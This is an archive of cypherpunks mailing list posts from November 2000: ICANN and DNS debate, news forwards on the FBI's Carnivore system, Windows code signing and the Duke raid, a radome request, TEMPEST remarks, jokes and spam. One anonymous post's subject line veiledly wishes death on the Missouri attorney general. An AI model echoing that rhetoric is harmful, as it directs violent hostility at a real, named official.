> >Subject: Re: CDR: RE: What got censored today... (fwd) > > > >I have an op-ed in today's Wall Street Journal that mentions alternative > >DNS schemes: > > > >http://www.cluebot.com/article.pl?sid=00/11/20/1714249 (html) > >http://www.politechbot.com/p-01507.html (text) > > > >No response yet from ICANN, Esther Dyson, Vint Cerf, etc. > > > >-Declan > > > > > >On Fri, Nov 17, 2000 at 12:30:50PM -0500, Joe Baptista wrote: > >> On Fri, 17 Nov 2000, Carskadden, Rush wrote: > >> > >> > I can't read it very well. What does it say? > >> > >> It's a little sign that says "USE ORSC DNS" or something like that - see > >> www.yourcann.org for more data. > >> > >> Joe > >> > >> > > >> > ok, > >> > Rush > >> > > >> > > >> > -----Original Message----- > >> > From: Jim Choate [mailto:ravage at einstein.ssz.com] > >> > Sent: Thursday, November 16, 2000 9:43 PM > >> > To: cypherpunks at einstein.ssz.com > >> > Cc: sci-tech at einstein.ssz.com > >> > Subject: What got censored today... (fwd) > >> > > >> > > >> > > >> > > >> > > >> > ____________________________________________________________________ > >> > > >> > He is able who thinks he is able. > >> > > >> > Buddha > >> > > >> > The Armadillo Group ,::////;::-. James Choate > >> > Austin, Tx /:'///// ``::>/|/ ravage at ssz.com > >> > www.ssz.com .', |||| `/( e\ 512-451-7087 > >> > -====~~mm-'`-```-mm --'- > >> > -------------------------------------------------------------------- > >> > > >> > ---------- Forwarded message ---------- > >> > Date: Thu, 16 Nov 2000 19:27:13 -0800 > >> > From: Simon Higgs > >> > Reply-To: orange at dns.list > >> > To: orange at dns.list > >> > Subject: What got censored today... > >> > > >> > > >> > > >> > >http://cyber.law.harvard.edu/scripts/rammaker.asp?s=cyber&dir=icann&file=ica > >> > nn-111600&start=0-09-04 > >> > > >> > Starts at 2:18:20 > >> > > >> > Lasts about five seconds before Mr Anal-Retentive-Bald-Video-Guy >censors it. > >> > > >> > > >> > >> -- > >> Joe Baptista > >> > >> http://www.dot.god/ > >> dot.GOD Hostmaster > >> +1 (805) 753-8697 > >> > > > > > > > > > > > >-- >Richard J. Sexton richard at vrx.web +1 (613) 473-1719 >http://dns.vrx.list/tech/rootzone richard%vrx.web at vrx.net Best Regards, Simon Higgs -- It's a feature not a bug... From msondow at iciiu.org Mon Nov 20 12:19:59 2000 From: msondow at iciiu.org (Michael Sondow) Date: Mon, 20 Nov 2000 15:19:59 -0500 Subject: CDR: Re: [IFWP] Re: re ICANN Should Approve More Top Level Domains References: Message-ID: <3A19876F.E658C78A@iciiu.org> Joe Baptista wrote: > > point, click, reboot - and astalavista ICANN. Lo siento, Joe, pero "hasta la vista" no basta. Hace falta que ICANN desaparece. M.S. From ravage at EINSTEIN.ssz.com Mon Nov 20 13:21:46 2000 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Mon, 20 Nov 2000 15:21:46 -0600 Subject: CDR: The Signature Issue Message-ID: <3A1995E9.61C2D779@ssz.com> Here's a 'Texas' state view... http://faxxon.cifnet.com/taskforce/sigdisc.htm Think of a signature as proof of action/intent. It's a 'verb verification mechanism'. -- ____________________________________________________________________ He is able who thinks he is able. Buddha The Armadillo Group ,::////;::-. James Choate Austin, Tx /:'///// ``::>/|/ ravage at ssz.com www.ssz.com .', |||| `/( e\ 512-451-7087 -====~~mm-'`-```-mm --'- -------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: sigdisc.htm Type: text/html Size: 49472 bytes Desc: not available URL: From apoio at giganetstore.com Mon Nov 20 08:14:13 2000 From: apoio at giganetstore.com (apoio at giganetstore.com) Date: Mon, 20 Nov 2000 16:14:13 -0000 Subject: CDR: =?iso-8859-1?Q?V=E1_ao_Cinema...Em_Casa?= Message-ID: <04dc713141614b0WWWNETSTORE@wwwnetstore> Para retirar o seu email desta mailing list deverá entrar no nosso site http://www.giganetstore.com , ir à edição do seu registo e retirar a opção de receber informação acerca das nossas promoções e novos serviços. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 789 bytes Desc: not available URL: From dotcomdeals at twalist.twa.com Mon Nov 20 02:33:38 2000 From: dotcomdeals at twalist.twa.com (Trans World Airlines) Date: Mon, 20 Nov 2000 16:33:38 +0600 Subject: CDR: This Week's Dot Com Deals (11-21-00) Message-ID: ********************************************** Welcome to Dot Com Deals for November 21, 2000! ********************************************** SAVE UP TO 50% WITH THIS WEEK'S DOT COM DEALS - FOR TRAVEL THROUGH DECEMBER 20, 2000! All Dot Com Deals tickets must be purchased online at http://www.twa.com/dcdeals/. All tickets must be purchased by 11/24/00. ************************************************ On to this week's Dot Com Deals. ********************DOMESTIC******************** Roundtrip fare between St. Louis, MO and: (Depart any day from Wednesday, November 29 through Saturday, December 16, 2000 and return Sunday, December 3 through Wednesday, December 20, 2000) A Saturday night stay is required and travel must not exceed 30 days. City Fare Atlanta, GA $146 Boston, MA $249 Burlington, IA*** $135 Cape Girardeau, MO*** $156 Cedar Rapids, IA $130 Charleston, SC^ $175 Charlotte, NC $181 Cincinnati, OH** $145 Colorado Springs, CO $198 Dallas, TX $186 Dayton, OH $153 Denver, CO $198 Des Moines, IA $136 Ft. Leonard Wood, MO*** $136 Ft. Meyers, FL $198 Ft. Wayne, IN* $146 Fayetteville, AR^^^ $136 Greenville, SC^ $190 Kona, HI $498 Lexington, KY* $140 Lincoln, NE** $153 Marion, IL*** $100 Miami, FL $249 Milwaukee, WI $216 Minneapolis, MN $153 Moline, IL^^ $119 Nashville, TN*** $136 Newark, NJ $209 New York, NY $209 Norfork, VA $203 Ontario, CA $316 Orange County, CA $310 Peoria, IL^^^ $119 Philadelphia, PA $199 Pittsburgh, PA $181 Portland, OR $278 Quincy, IL*** $119 Richmond, VA $203 San Juan, Puerto Rico $378 Shreveport, LA** $204 Sioux City, IA* $108 Sioux Falls, SD $169 Springfield, MO ^^ $136 Washington, DC $186 Waterloo, IA* $135 Wichita, KS $157 ***************************************** ADDITIONAL SAVINGS ON THESE FLIGHTS! ***************************************** Roundtrip fare between St. Louis, MO and: (Depart any day from Wednesday, November 29 through Saturday, December 16, 2000 and return Sunday, December 3 through Wednesday, December 20, 2000) A Saturday night stay is required and travel may not exceed 30 days. Travel must originate between 6:30pm and 6:45am City Fare Jackson, MS** $198 Houston (IAH), TX $198 New Orleans, LA $198 Orlando, FL $198 Raleigh/Durham, NC $198 Roundtrip fare between St. Louis, MO and: (Depart any day from Wednesday, November 29 through Saturday, December 16, 2000 and return Sunday, December 3 through Wednesday, December 20, 2000) A Saturday night stay is required and travel may not exceed 30 days. Travel must originate from St. Louis between 7:15am and 8:30am Travel must originate from Los Angeles between 5:10pm and 6:30pm City Fare Los Angeles, CA $198 Purchase these fares online at http://www.twa.com/dcdeals Portions of travel may be on: * Trans World Express turbo prop service operated by Chautauqua Airlines ** Trans World Express regional jet service operated by Chautauqua Airlines *** Trans World Express turbo prop service operated by Corporate Airlines. ^ Trans World Express regional jet service operated by Trans States Airlines ^^ Trans World Express may be turbo prop service operated by Trans States Airlines ^^^ Trans World Express regional jet and turbo prop service operated by Trans States Airlines *************TERMS & CONDITIONS************** Airfare Terms and Conditions: GENERAL CONDITIONS: Fares shown are round-trip and nonrefundable. Tickets may only be booked and purchased via the TWA website. All fares are shown in U.S. dollars. Tickets must be purchased by 11:59pm EDT, 11/24/00. Once ticketed, changes may be made upon the collection of a $75 service fee, provided the new flight is within the allowable days and times of travel and seats are available. To change a ticketed itinerary, call TWA Reservations at 1-800-221-2000. Service fee must be paid by credit card at the time the reservation is changed. Fares do not include Passenger Facility Charges of up to $12 depending on itinerary. Electronic ticketing and credit card form of payment only. Offer is not available in conjunction with any other promotion, coupon or discount. Offer is not available to unaccompanied minors. Seats are limited and may not be available on all flights or days. Standby is not allowed. Tickets must be purchased at time of booking. Outbound travel allowed Wednesday 11/29 through Saturday 12/16 and return Sunday 12/03 through Wednesday 12/20. Fares do not include a $2.50 Federal Excise Tax which will be imposed on each flight segment of the itinerary. Flight segment is defined as a takeoff and landing. To/from Hawaii a $12.40 Departure Tax is additional.To/from San Juan a $24.80 Departure Tax is additional. --- You are currently subscribed to dotcomdeals as: cypherpunks at toad.com To unsubscribe send a blank email to leave-dotcomdeals-69911F at twalist.twa.com From mix at mix2.hyperreal.pl Mon Nov 20 13:59:19 2000 From: mix at mix2.hyperreal.pl (Anonymous) Date: Mon, 20 Nov 2000 16:59:19 -0500 Subject: CDR: Missouri AG needing postnatal abortion Message-ID: <8a9cc138195a0fe01fa7792b23a8b385@mix2.hyperreal.pl> Seems this AG needs to be whittled down to size. Online License Peddler Shut Down Offered $350 International Permits to Bad Drivers, Officials Say Nov. 17, 2000 By Joe Beaird JEFFERSON CITY, Mo. (APBnews.com) -- The attorney general of Missouri has persuaded an Internet service provider to shut down a Web site that sells international drivers licenses to people, regardless of their driving history. "Drivelegal.com is now officially road kill," said Scott Holte, a spokesman for the Missouri Attorney Generals Office. "Theyre off the Internet right now. We got their server to pull the plug on them." Drivelegal.com, which was taken off the Internet on Thursday, allegedly issued international licenses for $350 to drivers with revoked or suspended licenses. "Its patently illegal for them to be promoting this as a way for people with DUIs driving under the influence convictions and other things to get around the law," Holte said. Although the Web site is based in California, the Missouri Attorney Generals Office took action against the operation because it claimed that Drivelegal.com was making false claims that violated Missouris consumer protection laws. Threat of jail, fines Drivelegal.com says on its Web site that international drivers licenses could be used to drive legally in any state or province. But Missouri contends that the IDL is only a supplemental permit to be used in conjunction with a government-issued one. "Make no mistake about it," Attorney General Jay Nixon said in a statement. "Anyone whose license has been suspended or revoked who buys one of these IDLs from Drivelegal.com will not only be $350 poorer, they will be running the risk of jail time and fines for operating a vehicle without a valid license." Few consumers had complained about the Web service in Missouri. The investigation actually started in response to a meeting with officials in the states division of motor vehicles. Owner: Im just following the law Tim Thorn, who runs Drivelegal.com, told APBnews.com that his business was legal and questioned why Missouri was attacking it. "Im just following the law as its written," Thorn said. "So I dont know really know what hes going on about. ... Ive been doing this for years without a problem." Even after getting Drivelegal.com offline, Nixons office is still seeking a temporary injunction to keep Drivelegal.com from operating in Missouri and is hoping to permanently ban them from the state. No court dates have been set. Thorn, who lives in Southern California, could face civil penalties of up to $1,000 for each time his company violates Missouri law. Reached after the shutdown, he was despondent. "I just found out," he told APBnews.com. "It sucks. I didnt do anything wrong." No recourse Internet service provider Hypermart sent Thorn an e-mail recently telling him he had 48 hours to remove his site from their servers. "I cant even log in to download materials," Thorn complained. Because service providers write detailed terms of service that allow them to terminate their user contracts for many reasons, Thorn said he did not believe he would succeed in fighting the shutdown order. "I dont really have any recourse," he said. From jburnes at savvis.net Mon Nov 20 14:43:46 2000 From: jburnes at savvis.net (Jim Burnes) Date: Mon, 20 Nov 2000 17:43:46 -0500 Subject: CDR: Re: Missouri AG needing postnatal abortion In-Reply-To: <8a9cc138195a0fe01fa7792b23a8b385@mix2.hyperreal.pl> References: <8a9cc138195a0fe01fa7792b23a8b385@mix2.hyperreal.pl> Message-ID: <00112004412404.12294@reality.eng.savvis.net> On Mon, 20 Nov 2000, you wrote: > Seems this AG needs to be whittled down to size. > > Online License Peddler Shut > Down > Offered $350 International Permits to Bad Drivers, .. .. .. > > "I dont really have any recourse," he said. Ummm, let me think. Move to a different ISP/NSP idiot! jim burnes From support at iseek.com.au Mon Nov 20 18:03:25 2000 From: support at iseek.com.au (support at iseek.com.au) Date: Mon Nov 20 18:03:25 2000 Subject: CDR: your request to download the ifilter client software Message-ID: <200011200803.SAA06072@donald.iseek.com.au> Dear cypherpunks, Thank you for your request for the ifilter product. You can download the release version of our software by clicking on the link below. http://download.ifilter.com.au/dl/974707405-hxVRX7sH/ifilter_installer.exe To assist you with the ifilter software a you can find the manual at http://download.ifilter.com.au/manual/manual.pdf You will require Adobe Acrobat to read this manual. You can pick up a free copy of the Acrobat reader from Adobe's web site which is at http://www.adobe.com This software is currently released for Windows95, Windows98. and Windows NT workstation. It requires direct internet access. Please note. This link will only be active for 72 hrs. Regards, The staff at ifilter From emc at artifact.psychedelic.net Mon Nov 20 19:21:39 2000 From: emc at artifact.psychedelic.net (Eric Michael Cordian) Date: Mon, 20 Nov 2000 19:21:39 -0800 (PST) Subject: CDR: Re: Missouri AG needing postnatal abortion In-Reply-To: <00112004412404.12294@reality.eng.savvis.net> from "Jim Burnes" at Nov 20, 2000 05:43:46 PM Message-ID: <200011210321.eAL3Ldp08310@artifact.psychedelic.net> Jim Burnes wrote: > > "I dont really have any recourse," he said. > Ummm, let me think. Move to a different ISP/NSP idiot! I think the point here is that almost every ISP has weasel-wording in their TOS which permits them to terminate service for any reason, or for no reason at all, to delete your files, and to bill you for any expenses they incur during your sodomization. While one can of course shop for another ISP, such antics usually take place when they are the most inconvenient, and when ones activities have attracted the maximum unwelome attention. This tends to make popular speech free, less popular speech less free, and really unpopular speech darned expensive. Since the majority of the Sheeple will always trade rights and privacy for convenience in an instant, people who have something unpopular to say always end up paying everyone's free speech bill, and not just their own. This is, depending on your view of the sanctity of markets, either a GoodThing or a BadThing. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From newsletter at easywinning.com Mon Nov 20 16:15:20 2000 From: newsletter at easywinning.com (newsletter at easywinning.com) Date: Mon, 20 Nov 2000 20:15:20 -0400 Subject: CDR: THE OFFICIAL EASYWINNING.COM NEWSLETTER - NOVEMBER 20, 2000 Message-ID: <200011210546.VAA12249@toad.com> The Official EasyWinning.com Weekly Newsletter! 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Andrew Charles Prize Director www.EasyWinning.com If you have received this email in error, or would no longer like to receive special promotions via email from EasyWinning, then Go to http://www.easywinning.com/unsubcontests.asp?uID=2322346 to unsubscribe. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 8842 bytes Desc: not available URL: From juicy at melontraffickers.com Mon Nov 20 20:36:05 2000 From: juicy at melontraffickers.com (A. Melon) Date: Mon, 20 Nov 2000 23:36:05 -0500 Subject: CDR: Whistler To Block Unsigned Code Message-ID: By David Raikow, Sm at rt Partner November 20, 2000 5:31 AM PT URL: Speaking at a London press conference earlier this month, Microsoft VP for IT Infrastructure and Hosting Jim Ewel announced that the upcoming Windows release known as "Whistler" will include a range of new security options, including one that will block any software lacking a valid digital signature. Though implemented in response to e-mail-attachment viruses like the Love Bug and Melissa, the new feature will extend to "every piece of code executing on the machine," Ewel told British reporters. A Microsoft spokeswoman says that Ewel's announcement was consistent with security features in Windows 2000. "This is part of our overall commitment to security. ... Signed drivers and trusted applications are features found today in Windows 2000, and this capability will be supported in future versions of Windows," she says. Fear Of Redmond's Reign Microsoft has not yet laid out details of the new feature, however, and some analysts fear that it could increase the giant's power over Windows software developers. Win2K currently recognizes two types of signed code. A "trusted application" is signed by the software publisher, allowing end users to determine its source and verify that it has not been altered or tampered with. Developers may purchase the cryptographic certificates used to create such a signature from Verisign Inc.--Microsoft has no say in determining who may receive such certificates or what software may be signed. Windows 2000 will not automatically warn or block users from using untrusted applications; end users must manually check applications to determine whether they have a valid signature. Windows 2000 does, meanwhile, include an option that will automatically warn or block users from installing unsigned drivers--the software code that allows a computer to control hardware like printers. Developers wishing to have their drivers signed must submit them to Microsoft for testing, which maintains complete control over the signing process. What The Analysts Say Internet consultant Richard M. Smith believes that the new feature could represent a significant advance in Microsoft's approach to security. "Security people have been suggesting that Microsoft do something like this for a long time. I think it could be a good thing, particularly when it comes to virus defense." Jon Callas, director of engineering at Counterpane Internet Security, is not so confident. "I think IT managers will absolutely love this ... until it blocks a shareware tool they need," he says. "Then, all of the sudden, it's preventing work from getting done, and it gets turned off. My guess is that it won't last more than a few months in most shops." Callas also is concerned about the impact of the new feature on software developers. "At best, small developers are going to have to go out and buy certificates--not a big deal for the big guys, but a significant cost for shareware developers and the like," he adds. "At worst, they are going to have to get Microsoft's official seal of approval, which could be a huge problem for software directly competing with Microsoft apps. This could be a whole, new antitrust issue." Smith concedes that tight control over the signing process could be a problem. "I seriously doubt Microsoft wants to look like it's exercising that much control over the Windows software market; this would almost certainly be done through the existing Verisign process. Something that looked like the driver signing process, though, could be different story. That could be a real mess." From anonymous at openpgp.net Mon Nov 20 21:07:15 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Tue, 21 Nov 2000 00:07:15 -0500 Subject: CDR: E - mail Surveillance Tool Vindicated Message-ID: <813093c86fe09ccc0bab58fa434a16ab@remailer.privacy.at> WASHINGTON (AP) -- The Chicago law school dean who reviewed the FBI's controversial e-mail surveillance tool said Monday his report concludes it works the way the bureau described and generally doesn't ``overcollect'' evidence as feared by privacy advocates. On the eve of the Justice Department's release of his review findings, Henry H. Perritt Jr., dean of the Illinois Institute of Technology's Chicago-Kent College of Law, said the report contains recommended improvements to the Carnivore system -- both for efficiency and privacy -- that likely won't be made public Tuesday. ``I think that it's fair to say that it does pretty much what the FBI says it did. For the most part, it does not overcollect. There's certain recommendations as to how it could be improved,'' he said in an interview with The Associated Press. Perritt declined to list the recommendations or how Carnivore sometimes overcollected. Privacy advocates were alarmed by an FBI lab report last week stating that Carnivore ``could reliably capture and archive all unfiltered traffic to the internal hard drive.'' The FBI said that the lab report was the result of a test to determine Carnivore's ``breaking point,'' and that laws and court orders restricted Carnivore from being used so broadly. Privacy advocates, however, said the test shows that Carnivore is more powerful than the FBI has stated. Perritt said the FBI was ``completely open and cooperative'' during the review. Justice spokeswoman Chris Watney said Monday that the Carnivore report was received last week, and will be made available to the public Tuesday. The intervening days, she said, were needed to black out parts of the report that mention Carnivore's internal blueprints and other sensitive information. The recommendations probably will be held back as well, Perritt said. Carnivore was designed by the FBI to collect e-mail going to or from a suspect, in cases where a suspect may be using electronic communications. Privacy experts have worried about the breadth of Carnivore's capability and its ``black box'' nature. Shortly after IIT was chosen to perform the review, ordered by Attorney General Janet Reno, critics said the review would not be independent because the reviewers were government insiders. ``This important issue deserves a truly independent review, not a whitewash,'' House Majority Leader Dick Armey, R-Texas, a longtime Carnivore opponent, said in October. Perritt advised President Clinton's transition team on information policy and performing other tasks for the Clinton administration, as well as previous Republican administrations. Associate Dean Harold J. Krent, another member of the team, worked at the Justice Department in the 1980s, and several team members have current or former security clearances from the Defense Department, Treasury Department or the National Security Agency. Perritt repeatedly affirmed that he was completely independent, and that his reputation would be damaged if he was anything but impartial. Most of the nation's elite academic computer departments -- including the Massachusetts Institute of Technology, Purdue University and the San Diego Supercomputer Center -- either declined to review Carnivore or withdrew their applications after objecting to the requirements the Justice Department placed on the review. The bureau says Carnivore has been used about 25 times, mostly involving national security. ^------ On the Net: Federal Bureau of Investigation: http://www.fbi.gov Department of Justice: http://www.usdoj.gov Chicago-Kent College of Law: http://www.kentlaw.edu From George at Orwellian.Org Mon Nov 20 21:28:41 2000 From: George at Orwellian.Org (George at Orwellian.Org) Date: Tue, 21 Nov 2000 00:28:41 -0500 (EST) Subject: CDR: Duking it out with the FBI, or, Saving the White Race Message-ID: <200011210528.AAA13548@www6.aa.psiweb.com> [very slightly snipped] http://foxnews.com/national/112000/duke.sml # # David Duke Phones Home, Learns of FBI Raid # # Monday, November 20, 2000, By Brett Martel # # # NEW ORLEANS - White supremacist David Duke finally called home # from Russia to learn that federal agents raided his home last # week and carried away boxes of materials, a spokesman said Monday. # # "He was outraged at this invasion of his home," said Vincent # Edwards, a spokesman for Duke's National Organization For # European-American Rights. # # The FBI is investigating whether Duke gambled away hundreds of # thousands of dollars he solicited from supporters of his white # supremacist cause. He has not been charged with a crime. # # Duke has been in Russia to promote his new book, The Ultimate # Supremacism, in which Duke argues that Russia and the former # Soviet bloc can save the white race from Jewish oligarchs and # organized crime. The book is being published in Russian. # # Edwards said he has never known Duke to visit a casino in the # two years he has worked for him, but said it would not be a crime # if he had. # # "He has been very clear in his mailings that the money is for # his work and to sustain him personally," Edwards said. "If he # accepts a supporter's check for $25 and happens to go out to # dinner that night and it costs $25, it's not a crime." # # Edwards also said he suspects the FBI's investigation is largely # based on the claims of disgruntled employees who have no # credibility. From shamrock at cypherpunks.to Tue Nov 21 00:45:02 2000 From: shamrock at cypherpunks.to (Lucky Green) Date: Tue, 21 Nov 2000 03:45:02 -0500 Subject: CDR: [No joke] Want to buy radome Message-ID: I am looking for a surplus radome. The minimum diameter is 20 meters, but the bigger, the better. The disassembled radome will need to fit into standard ISO dry cargo containers. Alternatively, I am looking for manufacturers of new radomes. Any pointers are appreciated. Feel free to forward this inquiry to more appropriate fora that you might be aware of. Thanks, --Lucky Green "Anytime you decrypt... its against the law". Jack Valenti, President, Motion Picture Association of America in a sworn deposition, 2000-06-06 From brflgnk at cotse.com Tue Nov 21 06:20:15 2000 From: brflgnk at cotse.com (brflgnk at cotse.com) Date: Tue, 21 Nov 2000 09:20:15 -0500 Subject: CDR: Cypherus, new encryption suite Message-ID: <974816415.3a1a849fdcd65@webmail.cotse.com> I saw in one of the tech email newsrags that F. Lee Bailey was at Comdex promoting a package called Cypherus. Their website, http://www.apmsafe.com/, is a little light on details. It only mentions that Cypherus uses Blowfish with up to 448-bit keys. There's some blather about a "Key Manager" and self-decrypting envelopes, but nothing about asymetrical crypto. No evaluation version that I could find. They claim they'll be shipping in Dec. Anyone heard anything at all about Cypherus? From gmaxwell at martin.fl.us Tue Nov 21 06:47:50 2000 From: gmaxwell at martin.fl.us (Greg Maxwell) Date: Tue, 21 Nov 2000 09:47:50 -0500 (EST) Subject: CDR: United States Domain Registry - Important New Information (fwd) Message-ID: This might be of intrest to ICANN and NSI watchers. ---------- Forwarded message ---------- Date: Mon, 20 Nov 2000 20:49:29 -0500 (EST) From: US Domain Help To: gmaxwell at martin.fl.us Subject: United States Domain Registry - Important New Information ========================================================================= To all administrative and technical contacts: As you may already know, since 1993 the Information Sciences Institute of the University of Southern California has administered the .US domain under a subcontract with Network Solutions, Inc. through its cooperative agreement with the U.S. Government. USC has chosen not to renew its subcontract, and therefore VeriSign Global Registry Services, a division of Network Solutions, Inc., will assume direct administration of the .US domain as of Tuesday, November 28, 2000. Please note that no changes will occur to syntax, and the standards established by RFC 1480 located at http://www.isi.edu/in-notes/rfc1480.txt will continue to apply. VeriSign Global Registry Services will forward its revised standard interim service agreement to you via email shortly for your review. We will also post the agreement on our web site at http://www.nic.us. Should you have any questions, you may email them to usdomhelp at verisign-grs.com. Best regards, United States Domain Registry VeriSign Global Registry Services www.verisign-grs.com usdomhelp at verisign-grs.com ========================================================================= From k.brown at ccs.bbk.ac.uk Tue Nov 21 03:32:48 2000 From: k.brown at ccs.bbk.ac.uk (Ken Brown) Date: Tue, 21 Nov 2000 11:32:48 +0000 Subject: CDR: Re: Florida Vote References: <3A194073.9E7EA3D8@ccs.bbk.ac.uk> Message-ID: <3A1A5D60.73E1D5F4@ccs.bbk.ac.uk> Posted without permission. You've probably seen it before & it probably isn't funny but I'd been drinking beer when i saw it & I laughed: > NOTICE OF REVOCATION OF INDEPENDENCE > > To the citizens of the United States of America, > > In the light of your failure to elect a President of the USA and thus to > govern yourselves, we hereby give notice of the revocation of your > independence, effective today. > > Her Sovereign Majesty Queen Elizabeth II will resume monarchial duties > over all states, commonwealths and other territories. Except Utah, > which she does not fancy. Your new prime minister (The rt. hon. Tony > Blair, MP for the 97.85% of you who have until now been unaware that > there is a world outside your borders) will appoint a minister for > America without the need for further elections. Congress and the > Senate will be disbanded. A questionnaire will be circulated next year > to determine whether any of you noticed. > > To aid in the transition to a British Crown Dependency, the following > rules are introduced with immediate effect: > > 1. You should look up "revocation" in the Oxford English Dictionary. > Then > look up "aluminium". Check the pronunciation guide. You will be amazed > at just how wrongly you have been pronouncing it. Generally, you should > raise your vocabulary to acceptable levels. Look up "vocabulary". > Using the same twenty seven words interspersed with filler noises such > as "like" and "you know" is an unacceptable and inefficient form of > communication. Look up "interspersed". > > 2. There is no such thing as "US English". We will let Microsoft know > on > your behalf. > > 3. You should learn to distinguish the English and Australian accents. > It > really isn't that hard. > > 4. Hollywood will be required occasionally to cast English actors as the > good guys. > > 5. You should relearn your original national anthem, "God Save The > Queen", > but only after fully carrying out task 1. We would not want you to get > confused and give up half way through. > > 6. You should stop playing American "football". There is only one kind > of > football. What you refer to as American "football" is not a very good > game. The 2.15% of you who are aware that there is a world outside your > borders may have noticed that no one else plays "American" football. > You will no longer be allowed to play it, and should instead play > proper football. Initially, it would be best if you played with the > girls. It is a difficult game. Those of you brave enough will, in > time, be allowed to play rugby (which is similar to American > "football", but does not involve stopping for a rest every twenty > seconds or wearing full kevlar body armour like nancies). We are > hoping to get together at least a US rugby sevens side by 2005. > > 7. You should declare war on Quebec and France, using nuclear weapons if > they give you any merde. The 97.85% of you who were not aware that > there > is a world outside your borders should count yourselves lucky. The > Russians have never been the bad guys. "Merde" is French for "shit". > > 8. July 4th is no longer a public holiday. November 8th will be a new > national holiday, but only in England. It will be called "Indecisive > Day". > > 9. All American cars are hereby banned. They are crap and it is for > your > own good. When we show you German cars, you will understand what we > mean. > > 10. Please tell us who killed JFK. It's been driving us crazy. > > Thank you for your cooperation. From whgiii at openpgp.net Tue Nov 21 08:35:16 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Tue, 21 Nov 2000 11:35:16 -0500 Subject: CDR: Re: Cypherus, new encryption suite In-Reply-To: <974816415.3a1a849fdcd65@webmail.cotse.com> Message-ID: <200011211634.LAA18883@domains.invweb.net> In <974816415.3a1a849fdcd65 at webmail.cotse.com>, on 11/21/00 at 08:24 AM, brflgnk at cotse.com said: >I saw in one of the tech email newsrags that F. Lee Bailey was at Comdex >promoting a package called Cypherus. Their website, >http://www.apmsafe.com/, is a little light on details. It only mentions >that Cypherus uses Blowfish with up to 448-bit keys. There's some >blather about a "Key Manager" and self-decrypting envelopes, but nothing >about asymetrical crypto. >No evaluation version that I could find. They claim they'll be shipping >in Dec. Anyone heard anything at all about Cypherus? Yeh I *always* turn to F. Lee Bailey for advice on crypto. LOL!!! Just typing his name makes me want to take a hot bath ... -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From sunder at sunder.net Tue Nov 21 08:38:02 2000 From: sunder at sunder.net (sunder) Date: Tue, 21 Nov 2000 11:38:02 -0500 Subject: CDR: [Fwd: About dem keyboards] Message-ID: <3A1AA4EA.DFACCBB@sunder.net> Also Sprach sunder: > > > 2. If you protect the cable as well, they can use a keyboard capture > program, or they can tempest detect your keystrokes. Tempest works not on just the keyboard but the entire machine. Monitor, system unit, cables, and keyboard all give off tempest emissions. The usual way this is handled is to have the room the system(s) are in shielded, and or completely underground, or both. The Zenith "tempest" 286 PC had 72 screws and a very solid steel CPU casing, and it's cables were completely unshielded. Your tax dollars at work. D'oh! :) -- "You know you're a geek when you log onto IRC | Do not CD c so you can tell your friend halfway across the | taunt --------P===\==/ country which HTML hex code to use for the | happy fun /_\__ color of your wedding dress." -- Me | fencer! _\ \ From whgiii at openpgp.net Tue Nov 21 08:49:28 2000 From: whgiii at openpgp.net (William H. Geiger III) Date: Tue, 21 Nov 2000 11:49:28 -0500 Subject: CDR: Re: [No joke] Want to buy radome In-Reply-To: Message-ID: <200011211649.LAA20493@domains.invweb.net> In , on 11/21/00 at 02:45 AM, Lucky Green said: >I am looking for a surplus radome. The minimum diameter is 20 meters, but >the bigger, the better. The disassembled radome will need to fit into >standard ISO dry cargo containers. Alternatively, I am looking for >manufacturers of new radomes. Any pointers are appreciated. >Feel free to forward this inquiry to more appropriate fora that you might >be aware of. 20 meters is pretty big radome. The marine navigation stuff I have seen is in the 1'-2' range. what are you doing Lucky setting up anti-aircraft batteries on some abandon platform off the coast? -- --------------------------------------------------------------- William H. Geiger III http://www.openpgp.net Geiger Consulting Data Security & Cryptology Consulting Programming, Networking, Analysis PGP for OS/2: http://www.openpgp.net/pgp.html E-Secure: http://www.openpgp.net/esecure.html --------------------------------------------------------------- From declan at well.com Tue Nov 21 09:05:24 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 21 Nov 2000 12:05:24 -0500 Subject: CDR: Re: Cypherus, new encryption suite In-Reply-To: <974816415.3a1a849fdcd65@webmail.cotse.com>; from brflgnk@cotse.com on Tue, Nov 21, 2000 at 09:20:15AM -0500 References: <974816415.3a1a849fdcd65@webmail.cotse.com> Message-ID: <20001121120524.C11415@cluebot.com> I was looking at that site yesterday too. *Very* light on details. -Declan On Tue, Nov 21, 2000 at 09:20:15AM -0500, brflgnk at cotse.com wrote: > I saw in one of the tech email newsrags that F. Lee Bailey was at Comdex > promoting a package called Cypherus. Their website, > http://www.apmsafe.com/, is a little light on details. It only mentions > that Cypherus uses Blowfish with up to 448-bit keys. There's some blather > about a "Key Manager" and self-decrypting envelopes, but nothing about > asymetrical crypto. > > No evaluation version that I could find. They claim they'll be shipping in > Dec. Anyone heard anything at all about Cypherus? > From declan at well.com Tue Nov 21 13:36:34 2000 From: declan at well.com (Declan McCullagh) Date: Tue, 21 Nov 2000 13:36:34 -0800 Subject: CDR: Jim Bell arrested, documents online Message-ID: <4.3.0.20001121133249.015932d0@mail.well.com> Check out the affidavit/complaint at: http://www.cluebot.com/article.pl?sid=00/11/21/1944238 Background documents: http://www.cluebot.com/article.pl?sid=00/11/11/101218 Wired News article on arrest: http://www.wired.com/news/politics/0,1283,40300,00.html -Declan From carskar at netsolve.net Tue Nov 21 11:09:01 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Tue, 21 Nov 2000 14:09:01 -0500 Subject: CDR: RE: [No joke] Want to buy radome Message-ID: <10D1CDA5E7B0D41190F800D0B74585641C739B@cobra.netsolve.net> What you are looking at is a 20 meter radome with over 400 panels. Send an email to sales at afcsat.com - they have what you are looking for. Just one request: when you get the damn thing erected, be polite. Heh. ok, Rush -----Original Message----- X-Loop: openpgp.net From: William H. Geiger III 